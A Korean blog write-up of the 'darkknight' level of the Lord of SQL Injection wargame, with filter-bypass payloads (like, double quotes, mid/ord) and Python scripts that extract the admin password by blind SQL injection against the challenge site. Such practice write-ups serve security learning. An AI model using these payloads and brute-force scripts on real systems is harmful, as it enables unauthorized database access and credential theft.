Web Hacking/LoS

[Lord of SQL Injection] los darkknight

ruming 2021. 7. 18. 23:15

admin의 pw를 맞춰야 해결이 가능하다.

no에서 substr, ascii등의 함수를 필터링하고 있다. = 등의 문자도 필터링하고 있다.

pw는 '를 필터링하고 있다.

 

이번에도 blind SQL인젝션 같은데 필터링이 많아져 복잡하다.

우선 여러가지로 시도해보았다. (=은 like로 우회했다.)

pw=2341&no=12 or id like admin %23

생각해보니까 더블쿼터를 필터링하지 않아 사용할 수 있을 것 같다.

pw=2341&no=12 or id like "admin" %23

이제 비밀번호를 알아내보자.

 

substr은 mid함수로, ascii는 ord함수로 우회할 수 있다.

https://g-idler.tistory.com/61

 

비밀번호 길이 알아내기

pw=2341&no=12 or id like "admin" and length(pw) like 8%23

비밀번호가 대부분 8자리였던 것 같아 8부터 입력했더니 역시 맞았다.

 

이제 파이썬으로 자동화 프로그램을 돌리면 알 수 있을 것이다.

mid함수와 ord함수를 사용해 스크립트를 짰는데 동작하지 않아서 left함수를 이용했다.

import requests

headers = {'Cookie' : 'PHPSESSID=세션값;'}
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"

pw=''
for i in range(1, 9):
    for ch in range(48, 123):
        if 58 <= ch <= 96: continue
        data = "?no=1 or left(pw,"+str(i)+") like \""+pw+str(ch)+"\"%23"
        r = requests.get(url + data, headers = headers)
        if 'Hello admin' in r.text:
            pw = pw + chr(ch)
            print(i, ':', pw)
            break
        print(i)

뭐가 문젠지 모르겠지만 비밀번호를 뱉어내지 않는다!!!

 

코드가 문제였나보다.

import requests

cookies={'PHPSESSID':'쿠키'}
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'

pw=''
for i in range(1, 9):
    for ch in range(48, 123):
        if 58 <= ch <= 96: continue
        value = "1 or id like \"admin\" and ord(mid(pw, {}, 1)) like {} #".format(i, ch)
        params={"no":value}
        r = requests.get(url, params=params, cookies=cookies)
        if "Hello admin" in r.text:
            pw += chr(ch)
            print(i,":", pw)
            break

참고 : https://power-girl0-0.tistory.com/425

 

ord함수와 mid함수를 이용해 다시 짜보았다.

import requests

headers = {'Cookie' : '세션;'}
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"

pw=''
for i in range(1, 9):
    for ch in range(48, 123):
        if 58 <= ch <= 96: continue
        data = "?no=1 or id like \"admin\" and ord(mid(pw,{},1)) like  {} %23".format(i, ch)
        r = requests.get(url + data, headers = headers)
        if 'Hello admin' in r.text:
            pw = pw + chr(ch)
            print(i, ':', pw)
            break

성공했다! 

?pw=0b70ea1f

 

 

'Web Hacking > LoS' 카테고리의 다른 글

[Lord of SQL Injection] los giant  (0) 2021.08.03
[Lord of SQL Injection] los bugbear  (0) 2021.08.01
[Lord of SQLINJECTION] los golem  (0) 2021.07.11
[Lord of SQL Injection] los skeleton  (0) 2021.06.28
[Lord of SQL Injection] los vampire  (0) 2021.06.28